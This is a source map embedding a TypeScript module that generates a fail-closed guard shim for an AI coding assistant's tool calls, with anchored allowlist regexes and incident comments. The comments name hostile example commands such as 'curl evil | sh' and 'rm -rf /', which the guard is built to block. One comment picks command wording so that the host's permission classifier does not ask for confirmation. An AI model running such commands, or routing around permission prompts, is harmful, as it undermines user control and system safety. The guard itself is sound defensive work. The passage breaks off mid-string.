QACD,MAAM,GAAG,GAAG,IAAI,CAAC,KAAK,CAAC,EAAE,CAAC,YAAY,CAAC,IAAI,CAAC,IAAI,CAAC,SAAS,EAAE,IAAI,EAAE,IAAI,EAAE,cAAc,CAAC,EAAE,MAAM,CAAC,CAAwB,CAAC;QACzH,OAAO,GAAG,CAAC,OAAO,IAAI,EAAE,CAAC;IAC7B,CAAC;IAAC,OAAO,GAAY,EAAE,CAAC;QACpB,MAAM,KAAK,GAAG,IAAA,kBAAO,EAAC,GAAG,CAAC,CAAC;QAC3B,KAAK,KAAK,CAAC,CAAC,wEAAwE;QACpF,OAAO,EAAE,CAAC;IACd,CAAC;AACL,CAAC","sourcesContent":["import * as fs from 'fs';\nimport * as path from 'path';\n\nimport { SyncFlowGuidance } from '@webpieces/rules-config';\n\nimport { toError } from '../core/to-error';\n\n// ---------------------------------------------------------------------------\n// The single checked-in shim (.claude/webpieces/ai-hook.sh). Both project hooks point at it, passing\n// their bin name as the first arg. settings.json points here (not at the bare bin) so a missing bin\n// (fresh clone, package removed) yields a friendly message instead of the raw `sh: No such file or\n// directory` on every Write/Edit/Bash tool call. `.claude` is committed, so the shim survives even\n// when node_modules does not.\n//\n// This module is the SINGLE SOURCE OF TRUTH for the shim body + the installer allowlist. The\n// installer (setup.ts) renders it on install; the running guards binary re-renders and self-heals it\n// (healShim) so the committed .sh can never go stale — no human ever hand-edits it.\n// ---------------------------------------------------------------------------\nexport const SHIM_MARKER = '.claude/webpieces/ai-hook.sh';\n\n// NO VERSION STAMP (removed 2026-07-24). The shim used to carry a per-release `# webpieces shim\n// version: <v> (<sha>)` on line 2, rewritten by scripts/set-version.sh at publish. It was a pure\n// human-eyeball diagnostic — nothing reads it (the deny's version note comes from the installed\n// package.json) — but it made the committed shim go byte-different on EVERY release even when the\n// logic was identical, so the committed-shim self-guard tripped on every upgrade over a comment (the\n// DENY-SHIM-STALE churn). It also carried its own hazard: stamp one of the two lockstep artifacts and\n// not the other and every consumer fail-closes forever on a phantom edit. Deleting it makes the shim\n// byte-STABLE across releases, so the self-guard (now in the binary) fires only on a genuine logic\n// change or a real tamper — which is what lets `pnpm install` be the fix for almost everything.\n\nexport function shimPath(projectRoot: string): string {\n return path.join(projectRoot, '.claude', 'webpieces', 'ai-hook.sh');\n}\n\n// The OUTPUT-CAPTURE TAIL every escape hatch below tolerates — the 2026-07-21 deadlock report, part 2.\n// Every allowlist was anchored to a BARE command, but the way an AI assistant actually spells a\n// diagnostic command is `<cmd> 2>&1 | tail -20` (it trims the output it has to read back). The audit\n// log proves it: `.webpieces/logs/ai-hook-shim.log` has `pnpm install 2>&1 | tail -15` logged as\n// DENY-STALE seconds away from a bare `pnpm install` logged as ALLOW-INSTALL — the same cure, denied\n// for its redirection. A cure that is denied when spelled the natural way reads to the assistant as\n// \"the guard blocks its own fix\", which is exactly the conclusion it drew before handing the fix back\n// to the human.\n//\n// So each hatch accepts an OPTIONAL trailing stderr redirect (`2>&1` to fold stderr in, or `2>/dev/null`\n// to drop it — I hit the missing `2>/dev/null` case myself within the hour, running `pnpm install\n// 2>/dev/null | tail -2` against a drift block) and an OPTIONAL pipe into `tail`/`head` carrying at\n// most a line-count flag (`-20`, `-n 20`). Nothing else: the pipe target is one of two literal,\n// read-only pager words and its only argument is digits, so `| sh`, `| curl …`, `| tee /etc/x` and\n// every other operator stay DENIED. Spliced in place of each pattern's old `[[:space:]]*$` tail, so the\n// anchoring at both ends is unchanged. Keep in sync with CAPTURE_TAIL_JS_SRC (locked by a unit test).\nexport const CAPTURE_TAIL_ERE =\n '([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\\\\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$';\n\n// JS-regex-source twin of CAPTURE_TAIL_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CAPTURE_TAIL_JS_SRC =\n '(\\\\s+2>(&1|\\\\/dev\\\\/null))?(\\\\s*\\\\|\\\\s*(tail|head)(\\\\s+-(n\\\\s+)?[0-9]+)?)?\\\\s*$';\n\n// Package-manager install commands allowed to pass the fail-closed shim so the assistant can\n// self-heal the guards (run `pnpm install`) when node_modules is absent — otherwise the guard blocks\n// the very command that re-enables it (deadlock). nx/pnpm monorepo only. POSIX ERE (fed to `grep -E`).\n//\n// What's allowed (the realistic self-heal spellings — an earlier version only matched a bare\n// `pnpm install`, so `pnpm i` and `--flag=value` got fail-CLOSED and re-deadlocked the assistant):\n// - pkg managers: pnpm | npm (this nx monorepo uses pnpm; npm is accepted as the fallback. NOT\n// yarn — this repo installs with pnpm/npm only, so yarn stays denied.)\n// - subcommands: install | i (`pnpm i` / `npm i` is just shorthand for `install`)\n// - flags: zero or more `--flag` / `--flag=value` tokens (no whitespace, no operators)\n//\n// No `cd` prefix on purpose: the root package.json IS the install target in this nx monorepo and\n// Claude Code starts at the repo root, so a bare `pnpm install` always works — no `cd` is ever needed,\n// and allowing one would only widen the attack surface of a fail-CLOSED escape hatch.\n//\n// Why it's un-smuggleable (the whole point of failing closed): the tail is anchored to `$` and only\n// accepts `--word` tokens, so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) can ride\n// along — `pnpm install && rm -rf /` and `pnpm install; curl evil | sh` still FAIL CLOSED.\n// Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).\nexport const INSTALLER_ALLOW_ERE =\n '^(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*' + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALLER_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). The fail-closed shim (pure sh)\n// uses the ERE for the missing-bin case; the runner uses THIS twin (runBashInternal) so installer\n// commands also pass when the bin IS installed but the config is invalid/ahead of the validator —\n// same deadlock, other side. A unit test asserts the two agree on a sample set.\nexport const INSTALLER_ALLOW_JS =\n new RegExp('^(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*' + CAPTURE_TAIL_JS_SRC);\n\n// The RECOVERY command, allowed alongside INSTALLER_ALLOW_ERE on every fail-closed path.\n//\n// Why a plain `pnpm install` is NOT enough (learned the hard way): when node_modules is CORRUPT — a\n// package half-written by an install that was killed mid-copy — pnpm sees a package dir carrying the\n// right version in its package.json, considers it installed, and SKIPS it. `pnpm install` cheerfully\n// reports \"up to date\" and the corruption survives every retry. The only reliable cure is to delete\n// node_modules so pnpm re-materializes the package from the (healthy) global store. So the fail-closed\n// escape hatch MUST allow the wipe too, or the assistant is left denying its own cure (deadlock).\n//\n// Kept as tight as INSTALLER_ALLOW_ERE: anchored at both ends, the ONLY shell operator accepted is a\n// single `&&` in exactly one position, and the rm target is literally `node_modules` — nothing else.\n// So `rm -rf /`, `rm -rf node_modules/../..`, `rm -rf node_modules; curl evil | sh` all stay DENIED.\n// Keep in sync with RECOVERY_ALLOW_JS below (locked by a unit test).\nexport const RECOVERY_ALLOW_ERE =\n '^rm[[:space:]]+-rf[[:space:]]+(\\\\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?' + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RECOVERY_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nexport const RECOVERY_ALLOW_JS =\n new RegExp('^rm\\\\s+-rf\\\\s+(\\\\.\\\\/)?node_modules\\\\/?(\\\\s*&&\\\\s*(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?' + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the human/assistant to run to recover a corrupt node_modules.\nexport const RECOVERY_CMD = 'rm -rf node_modules && pnpm install';\n\n// Git SYNC commands, allowed ONLY on the version-DRIFT path (never for a missing/broken bin, which no\n// amount of git can fix). This closes a real deadlock, hit 2026-07-17:\n//\n// The drift guard was written for ONE direction — you `git pull`, the new package.json pins a NEWER\n// @webpieces, node_modules is still OLD, and `pnpm install` catches it up. But the comparison is a\n// plain `!=`, so it fires just as hard in the INVERSE case: check out a branch (or a local `main`)\n// that is BEHIND origin, and now the PIN is the stale side while node_modules is correct and NEWER.\n//\n// In that inverse case `pnpm install` is not the cure, it is the disease: it happily DOWNGRADES\n// node_modules to the stale pin. The real cure is `git pull` — which the guard denied, because the\n// allowlist only ever contained the installer. So the assistant was told to run the one command that\n// made things worse, while the fix was blocked. Allow the sync commands here and the deadlock is gone.\n//\n// Kept exactly as tight as INSTALLER_ALLOW_ERE: anchored at both ends, and every argument token is a\n// bare word or `--flag` — so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`) can ride along.\n// `git pull; curl evil | sh` still FAILS CLOSED. Deliberately NOT `git checkout`: switching branches is\n// what CAUSES this drift, and a fail-closed escape hatch should only contain cures.\n// Keep in sync with SYNC_ALLOW_JS below (locked by a unit test).\nexport const SYNC_ALLOW_ERE =\n '^git[[:space:]]+(pull|fetch|merge)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*' + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of SYNC_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nexport const SYNC_ALLOW_JS =\n new RegExp('^git\\\\s+(pull|fetch|merge)(\\\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*' + CAPTURE_TAIL_JS_SRC);\n\n// The CURE for the committed-shim self-guard (now enforced by the binary — see committedShimStale\n// below): regenerate .claude/webpieces/ai-hook.sh from renderShim(). Allowed while that guard is up —\n// like the installer, it is a webpieces-owned, no-network local action whose whole job is to re-arm the\n// guard, so denying it would deadlock the assistant against its own fix. Accepts the realistic spellings of the wp-upgrade-shim bin under\n// pnpm/npm/npx; anchored at both ends with only a bare bin name, so no shell operator can ride along.\n// Keep in sync with UPGRADE_SHIM_ALLOW_JS below (locked by a unit test).\nexport const UPGRADE_SHIM_ALLOW_ERE =\n '^(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-upgrade-shim' + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of UPGRADE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const UPGRADE_SHIM_ALLOW_JS =\n new RegExp('^(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-upgrade-shim' + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the assistant to run to regenerate a reverted/edited committed shim.\nexport const UPGRADE_SHIM_CMD = 'pnpm exec wp-upgrade-shim';\n\n// The PRIMARY, version-AGNOSTIC cure for the self-guard — and the reason this exists (hit 2026-07-21):\n// the self-guard's deny used to name ONLY `pnpm exec wp-upgrade-shim`, but that bin ships in\n// @webpieces/ai-hook-rules >= 0.4.408. Every repo on an OLDER installed release — i.e. exactly the\n// repos that can hit this, since node_modules is what the shim compares itself against — got\n// \"command not found\" and was left with a hard block and no working cure. In the reporter's words, the\n// message gave \"ZERO information\" on how to actually fix it.\n//\n// A plain `cp` of the installed template over the committed shim has none of that version coupling:\n// templates/ai-hook.sh ships in EVERY release and is byte-identical to renderShim() (locked by a unit\n// test), which is exactly what the binary's committedShimStale() compares the committed shim against;\n// cp onto an existing file keeps the destination's mode, so the shim stays executable with no chmod.\n// It cures the block on any version, old or new —\n// which is why the deny now leads with it and only mentions the bin as the newer equivalent.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, no flags, and BOTH paths are\n// literal webpieces-owned paths — so no other file can be read or written and no operator can ride\n// along. Keep in sync with RESTORE_SHIM_ALLOW_JS below (locked by a unit test).\nexport const RESTORE_SHIM_ALLOW_ERE =\n '^cp[[:space:]]+(\\\\./)?node_modules/@webpieces/ai-hook-rules/templates/ai-hook\\\\.sh[[:space:]]+(\\\\./)?\\\\.claude/webpieces/ai-hook\\\\.sh' + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RESTORE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const RESTORE_SHIM_ALLOW_JS =\n new RegExp('^cp\\\\s+(\\\\.\\\\/)?node_modules\\\\/@webpieces\\\\/ai-hook-rules\\\\/templates\\\\/ai-hook\\\\.sh\\\\s+(\\\\.\\\\/)?\\\\.claude\\\\/webpieces\\\\/ai-hook\\\\.sh' + CAPTURE_TAIL_JS_SRC);\n\n// The exact command the self-guard's deny tells the assistant to run. Works on EVERY installed version.\nexport const RESTORE_SHIM_CMD =\n 'cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh';\n\n// The THIRD cure for the self-guard, and the one with the longest shelf life: the installer itself.\n//\n// `wp-install-ai-hooks` has shipped in every release of this package since it created the shim (the\n// shim's own header line names it as the managing command), and install-entry.ts calls healShim()\n// FIRST, through the dependency-free ./shim module, before it lazily requires the rule engine. So it\n// re-arms the committed shim on a tree too broken to load setup.ts, exactly like wp-upgrade-shim, and\n// it does so on releases that predate wp-upgrade-shim (< 0.4.408) where that bin is not on disk at all.\n// That combination — always present AND a named bin rather than a raw file overwrite — is why the deny\n// now leads with it: the `cp` is version-agnostic too, but Claude Code's own permission classifier\n// treats a bare cp over a repo file as something to confirm, while a named bin reads as a tool call.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, bare bin name, no flags, so no\n// shell operator can ride along. Keep in sync with INSTALL_HOOKS_ALLOW_JS below (locked by a unit test).\nexport const INSTALL_HOOKS_ALLOW_ERE =\n '^(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-install-ai-hooks' + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALL_HOOKS_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const INSTALL_HOOKS_ALLOW_JS =\n new RegExp('^(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-install-ai-hooks' + CAPTURE_TAIL_JS_SRC);\n\n// The exact command the self-guard's deny names FIRST. Present in every release that has a shim.\nexport const INSTALL_HOOKS_CMD = 'pnpm exec wp-install-ai-hooks';\n\n// ---------------------------------------------------------------------------\n// HOW EVERY DENY MUST SPELL ITS CURE (added 2026-07-23, from a live audit-log post-mortem).\n//\n// The guards were right, the message was right, and the assistant STILL handed the block back to the\n// human — because of one appended clause. From .webpieces/logs/ai-hook-shim.log in a consumer repo:\n//\n// DENY-SHIM-STALE cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh && git status --short\n//\n// That is the prescribed cure, verbatim, plus `&& git status --short`. Every allowlist here is anchored\n// to `$`, so the trailing `&&` made it a different command and it was denied — and the assistant read\n// its own denial as proof that \"the guard blocks the very command that fixes it\" and stopped.\n//\n// Widening the allowlist to accept `&& <anything>` is NOT the fix: these are fail-CLOSED escape hatches\n// whose entire security property is that no shell operator can ride along (`cp … && rm -rf /`). The fix\n// is to stop the assistant appending in the first place — so every deny that prescribes a command now\n// (a) numbers its cures as OPTIONs, (b) quotes each one so the exact bytes are unambiguous, and\n// (c) carries this rule, which says in plain words that adding `&&` gets it rejected again.\n//\n// CONSTRAINT on every string that reaches a deny REASON: no double quotes and no backslashes. The\n// reason is interpolated into a `REASON=\"…\"` shell assignment and then printf'd into a JSON string, so\n// a `\"` would break BOTH. Hence single quotes around the commands here — do not \"improve\" them.\n// ---------------------------------------------------------------------------\nexport const NO_CHAINING_RULE =\n 'Type the option you pick EXACTLY as written, character for character, and run NOTHING else on that line. ' +\n 'Seriously: do NOT append && anything (not even a harmless && git status), do NOT put a cd in front of it, ' +\n 'do NOT wrap it in a subshell. The allowlist is anchored to the ENTIRE command, so anything you bolt on ' +\n 'makes it a DIFFERENT command and it WILL be rejected again - which is not the guard refusing its own cure. ' +\n 'If an option already contains &&, that && is part of the command: keep it, and still add nothing beyond it. ' +\n 'The ONLY additions that are tolerated are a trailing 2>&1 or a pipe into tail/head (e.g. 2>&1 | tail -20).';\n\n// Normal template literal (not String.raw): it carries #235's shell escapes verbatim (\\${BIN_NAME},\n// \\$REASON, \\\\n for the deny JSON) AND my sed backslashes (doubled: \\\\(, \\\\), \\\\1, [^\"\\\\\\\\]). The\n// grep pattern is interpolated from INSTALLER_ALLOW_ERE (its value has no backslashes).\n// Shell fragment: the version-drift guard (see its own block comment). Extracted to a module const so\n// renderShim() stays within the method-line budget; it is spliced back in verbatim, byte-for-byte.\nconst VERSION_DRIFT_GUARD_SH = `# --- webpieces version-drift guard (pure sh — runs even when the installed guard bin is stale) -----\n# The committed shim is version-agnostic, so it keeps working right after a git pull, BEFORE the\n# matching pnpm install. That is exactly when node_modules can be STALE: an OLDER @webpieces than\n# package.json now pins, whose outdated validator rejects the NEWER webpieces.config.json with baffling\n# \"unknown rule\" errors. Detect that drift HERE (before exec'ing the possibly-stale bin): compare every\n# EXACT-pinned @webpieces/* version in the root package.json against the version actually installed in\n# node_modules; the first mismatch wins. Range specs (^ ~ workspace:*) are skipped, so they never\n# false-positive; best-effort — a version we cannot read is skipped. On drift we fall through to the\n# SAME fail-closed path as a missing bin (allow only pnpm install, deny the rest).\n#\n# pnpm CATALOGS: a dep pinned via \"catalog:\" / \"catalog:<name>\" carries NO digit-version in package.json,\n# so the old scraper matched nothing and the guard was BLIND to it — DRIFT_PKG stayed empty and the\n# stale bin ran (the 2026-07 \"0.3.369 vs 0.4.405\" incident). Resolve those specs through the top-level\n# \\`catalogs:\\` block of pnpm-lock.yaml (catalog -> pkg -> resolved version) before comparing.\nDRIFT_PKG=\"\"\nDRIFT_DECLARED=\"\"\nDRIFT_INSTALLED=\"\"\nif [ -f \"$ROOT/package.json\" ]; then\n # Only when a @webpieces dep actually uses a \"catalog:\" spec do we scan the (possibly huge) lockfile —\n # a cheap grep keeps the common, catalog-free repo from paying that cost on every tool call. One awk\n # pass over pnpm-lock.yaml emits \"<catalog> <@webpieces/pkg> <version>\" lines for the sh lookup below;\n # \\\\047 is a single quote (so this awk program carries none and stays safely single-quotable in sh).\n WP_CATALOGS=\"\"\n if grep -Eq '\"@webpieces/[^\"]*\"[[:space:]]*:[[:space:]]*\"catalog:' \"$ROOT/package.json\" 2>/dev/null && [ -f \"$ROOT/pnpm-lock.yaml\" ]; then\n WP_CATALOGS=\"$(awk '\n { n=0; while (substr($0,n+1,1)==\" \") n++; c=substr($0,n+1) }\n c==\"\" { next }\n n==0 { incat=(c ~ /^catalogs: *$/)?1:0; cat=\"\"; pkg=\"\"; next }\n incat==0 { next }\n n==2 { cat=c; sub(/:.*/,\"\",cat); pkg=\"\"; next }\n n==4 { pkg=c; sub(/: *$/,\"\",pkg); gsub(/[\"\\\\047]/,\"\",pkg); next }\n n==6 && substr(pkg,1,11)==\"@webpieces/\" && c ~ /^version:/ {\n v=c; sub(/^version: */,\"\",v); gsub(/[\"\\\\047 ]/,\"\",v);\n if (cat!=\"\" && v!=\"\") print cat \" \" pkg \" \" v\n }\n ' \"$ROOT/pnpm-lock.yaml\" 2>/dev/null)\"\n fi\n while IFS=' ' read -r WP_NAME WP_DECL; do\n [ -n \"$WP_NAME\" ] || continue\n # Resolve the declared spec to an EXACT version, or skip it: ranges (^ ~ workspace:*) never drift,\n # and a catalog spec we cannot resolve is best-effort skipped rather than guessed.\n case \"$WP_DECL\" in\n catalog:*)\n WP_CAT=\"\\${WP_DECL#catalog:}\"; [ -n \"$WP_CAT\" ] || WP_CAT=\"default\"\n WP_DECL=\"$(printf '%s\\\\n' \"$WP_CATALOGS\" | awk -v c=\"$WP_CAT\" -v p=\"@webpieces/$WP_NAME\" '$1==c && $2==p {print $3; exit}')\"\n [ -n \"$WP_DECL\" ] || continue ;;\n [0-9]*) : ;;\n *) continue ;;\n esac\n WP_MANIFEST=\"$ROOT/node_modules/@webpieces/$WP_NAME/package.json\"\n [ -f \"$WP_MANIFEST\" ] || continue\n WP_INST=\"$(sed -n 's/.*\"version\"[[:space:]]*:[[:space:]]*\"\\\\([^\"]*\\\\)\".*/\\\\1/p' \"$WP_MANIFEST\" | head -n1)\"\n [ -n \"$WP_INST\" ] || continue\n if [ \"$WP_DECL\" != \"$WP_INST\" ]; then\n DRIFT_PKG=\"@webpieces/$WP_NAME\"\n DRIFT_DECLARED=\"$WP_DECL\"\n DRIFT_INSTALLED=\"$WP_INST\"\n break\n fi\n done <<WPEOF\n$(sed -n 's/.*\"@webpieces\\\\/\\\\([A-Za-z0-9._-]*\\\\)\"[[:space:]]*:[[:space:]]*\"\\\\([^\"]*\\\\)\".*/\\\\1 \\\\2/p' \"$ROOT/package.json\")\nWPEOF\nfi`;\n\n// Shell fragment: run the installed guard bin and INSPECT its outcome, instead of exec'ing it.\n//\n// THE BUG THIS FIXES (guards silently fail-OPEN): the shim used to `exec \"$BIN\"`. exec REPLACES this\n// shim process, so once the bin was executable the shim was GONE and could no longer make a decision.\n// That is fine when the bin runs — but the bin can be INSTALLED YET BROKEN: a corrupt/partially-written\n// node_modules makes node die at require() time with MODULE_NOT_FOUND, exiting 1. And in the PreToolUse\n// protocol ONLY exit 2 blocks: any other non-zero is a NON-BLOCKING error, so Claude Code prints\n// \"Failed with non-blocking status code\" and RUNS THE TOOL CALL ANYWAY — the guard is silently skipped.\n// Result: every Write/Edit/Bash went UNGUARDED, for as long as node_modules stayed corrupt. The shim\n// handled \"bin missing\" and \"bin stale\", but never \"bin present and CRASHES\" — the third failure mode.\n//\n// So: do not exec. Run the bin with the payload on stdin and branch on its exit code.\n// rc 0 | 2 → a REAL decision (allow / block). Relay stdout, stderr and the code byte-faithfully.\n// anything else → the guard CRASHED. Fall through to the fail-CLOSED path (BROKEN_BIN=1).\n// stdout/stderr go through temp FILES, not $(command substitution), so the bin's bytes reach Claude\n// Code exactly as written — command substitution strips trailing newlines and would corrupt the\n// decision JSON. Reading the payload up-front ($PAYLOAD) is what replaces exec's stdin passthrough.\nconst RUN_BIN_SH = `if [ -x \"\\$BIN\" ] && [ -z \"\\$DRIFT_PKG\" ]; then\n OUT_FILE=\"\\${TMPDIR:-/tmp}/wp-ai-hook-out.\\$\\$\"\n ERR_FILE=\"\\${TMPDIR:-/tmp}/wp-ai-hook-err.\\$\\$\"\n printf '%s' \"\\$PAYLOAD\" | \"\\$BIN\" \"\\$@\" >\"\\$OUT_FILE\" 2>\"\\$ERR_FILE\"\n RC=\\$?\n if [ \"\\$RC\" = 0 ] || [ \"\\$RC\" = 2 ]; then\n cat \"\\$OUT_FILE\" # the guard's real decision — verbatim\n cat \"\\$ERR_FILE\" >&2\n rm -f \"\\$OUT_FILE\" \"\\$ERR_FILE\" 2>/dev/null\n exit \"\\$RC\"\n fi\n # Crashed. Keep the most useful stderr line for the human. Strip \" and backslash so the text stays a\n # valid JSON string, and cap the length so a giant node stack cannot blow up the deny payload.\n CRASH_MSG=\"\\$(grep -m1 'Cannot find module' \"\\$ERR_FILE\" 2>/dev/null | tr -d '\"\\\\\\\\' | cut -c1-120)\"\n [ -n \"\\$CRASH_MSG\" ] || CRASH_MSG=\"\\$(head -n1 \"\\$ERR_FILE\" 2>/dev/null | tr -d '\"\\\\\\\\' | cut -c1-120)\"\n [ -n \"\\$CRASH_MSG\" ] || CRASH_MSG=\"exit code \\$RC, no stderr\"\n rm -f \"\\$OUT_FILE\" \"\\$ERR_FILE\" 2>/dev/null\n BROKEN_BIN=1\nfi`;\n\n// Shell fragment: the guards are DOWN (missing | stale | crashed). Parse the payload, audit-log the\n// decision, and let ONLY the install/recovery commands through — everything else falls to the deny below.\nconst TRIAGE_SH = `CMD=\"\\$(printf '%s' \"\\$PAYLOAD\" | sed -n 's/.*\"command\"[[:space:]]*:[[:space:]]*\"\\\\([^\"\\\\\\\\]*\\\\)\".*/\\\\1/p')\"\nTOOL=\"\\$(printf '%s' \"\\$PAYLOAD\" | sed -n 's/.*\"tool_name\"[[:space:]]*:[[:space:]]*\"\\\\([^\"\\\\\\\\]*\\\\)\".*/\\\\1/p')\"\n# Best-effort audit trail of every decision the fail-closed shim makes WHILE THE GUARDS ARE DOWN, so a\n# human can inspect after something odd (an install that was denied, or one that slipped through). One\n# tab-separated line per call → <root>/.webpieces/logs/ai-hook-shim.log (gitignored). NEVER breaks or\n# blocks the hook: all writes are best-effort (|| true) and go to a file, never to stdout (stdout is\n# the PreToolUse decision channel — a stray byte there would corrupt allow/deny).\nLOG_DIR=\"\\$ROOT/.webpieces/logs\"\nwp_log() { # \\$1 = decision label (ALLOW-INSTALL | DENY | DENY-STALE | DENY-BROKEN)\n { mkdir -p \"\\$LOG_DIR\" 2>/dev/null && printf '%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\n' \"\\$(date '+%Y-%m-%dT%H:%M:%S%z' 2>/dev/null)\" \"\\$BIN_NAME\" \"\\$TOOL\" \"\\$1\" \"\\$CMD\" >> \"\\$LOG_DIR/ai-hook-shim.log\"; } 2>/dev/null || true\n}\nDENY_LABEL=\"DENY\"\n[ -n \"\\$DRIFT_PKG\" ] && DENY_LABEL=\"DENY-STALE\" # version drift, not a missing bin\n[ -n \"\\$BROKEN_BIN\" ] && DENY_LABEL=\"DENY-BROKEN\" # bin present but CRASHED (corrupt node_modules)\nif printf '%s' \"\\$CMD\" | grep -Eq '${INSTALLER_ALLOW_ERE}' || printf '%s' \"\\$CMD\" | grep -Eq '${RECOVERY_ALLOW_ERE}'; then\n wp_log ALLOW-INSTALL # record the self-heal we let through (re-enables the guards)\n exit 0 # allow the installer/recovery so the assistant can break the deadlock\nfi\n# DRIFT ONLY: let the git sync commands through. When the PIN is the stale side (a checkout behind\n# origin), 'pnpm install' DOWNGRADES and 'git pull' is the only cure — denying it deadlocks the\n# assistant against its own fix. Pointless for a missing/broken bin, so it stays gated on drift.\nif [ -n \"\\$DRIFT_PKG\" ] && printf '%s' \"\\$CMD\" | grep -Eq '${SYNC_ALLOW_ERE}'; then\n wp_log ALLOW-SYNC # record the git sync we let through (may be what re-syncs the pin)\n exit 0\nfi\nwp_log \"\\$DENY_LABEL\" # every fail-closed block (…-STALE = drift, …-BROKEN = crash) for inspection`;\n\n// Shell fragment: emit the deny. FAIL CLOSED via Claude Code's PreToolUse JSON protocol\n// (permissionDecision \"deny\" on stdout, then exit 0) rather than a bare \"exit 2\". BOTH block the call,\n// but the reason must be made VISIBLE, and HOW depends on the tool (verified by live tests; the docs\n// are wrong here):\n// - Bash deny: permissionDecisionReason is NOT shown to the human — ONLY a top-level systemMessage\n// is, and it honors ANSI. So for Bash we emit systemMessage wrapped in ANSI red so the\n// recovery command is visible (without it, on Bash, it is invisible).\n// - Write/Edit/MultiEdit deny: permissionDecisionReason renders as a RED \"Error:\" block natively —\n// no systemMessage needed (a second line would be redundant).\n// - NEVER exit 2 (stdout JSON ignored; stderr not reliably shown on a blocked Bash call).\n// The ESC is emitted as the literal 6-char JSON escape \\\\u001b (built via ${BS} so no raw ESC byte and\n// no \\\\uXXXX sits in this source); Claude Code's JSON parser turns \\\\u001b into ESC. The reason is a\n// single JSON string with no double-quotes/backslashes, so it stays valid JSON after ${BIN_NAME} subs.\nconst DENY_EMIT_SH = `if [ \"\\$TOOL\" = \"Bash\" ]; then\n BS='\\\\' # one literal backslash, so the \\\\u001b escape never sits in this source\n ESC=\"\\${BS}u001b\" # the 6 chars: backslash u 0 0 1 b — Claude Code parses \\\\u001b → ESC\n printf '{\"systemMessage\":\"%s🛑 %s%s\",\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"%s\"}}\\\\n' \"\\${ESC}[31;1m\" \"\\$REASON\" \"\\${ESC}[0m\" \"\\$REASON\"\nelse\n printf '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"%s\"}}\\\\n' \"\\$REASON\"\nfi\nexit 0 # decision is carried by permissionDecision \"deny\", not the exit code`;\n\n// Shell fragment: pick the fail-closed deny REASON — a crashed-bin message (corrupt node_modules) vs a\n// version-drift message (bin present but stale) vs the missing-bin message. Extracted alongside\n// VERSION_DRIFT_GUARD_SH / RUN_BIN_SH to keep renderShim() within the method-line budget.\nconst DENY_REASON_SH = `if [ -n \"\\$BROKEN_BIN\" ]; then\n # Report (do NOT auto-clean) the orphaned pnpm staging dirs — a package pnpm was mid-way through\n # writing is left behind as <name>_<pid>_<hash>. Their presence is the fingerprint of an install that\n # was killed, which is what corrupts node_modules in the first place. Best-effort; never fatal.\n STAGING_N=\"\\$(ls \"\\$ROOT/node_modules\" 2>/dev/null | grep -Ec '_[0-9a-f]+_[0-9a-f]+\\$' || true)\"\n STAGING_NOTE=\"\"\n if [ \"\\${STAGING_N:-0}\" -gt 0 ] 2>/dev/null; then\n STAGING_NOTE=\" Also found \\$STAGING_N orphaned pnpm staging dirs (name_pid_hash) under node_modules - the fingerprint of an install that was killed mid-write.\"\n fi\n REASON=\"❌ webpieces guards are DOWN and every OTHER tool call is BLOCKED: \\${BIN_NAME} is installed but CRASHED (\\$CRASH_MSG). Your node_modules is corrupt or partially written, so the guards cannot run - and they must NOT be silently skipped. NOTE: a plain 'pnpm install' will NOT fix this; pnpm sees the correct version on disk and skips the broken package. THIS IS NOT A DEADLOCK: the option below is explicitly ALLOWED through while this guard is up, so run it YOURSELF rather than handing it to the human. OPTION 1 - run EXACTLY this command, then retry: '${RECOVERY_CMD}'. ${NO_CHAINING_RULE}\\${STAGING_NOTE}\"\nelif [ -n \"\\$DRIFT_PKG\" ]; then\n # The 'how do I get current' half comes from SyncFlowGuidance so it cannot 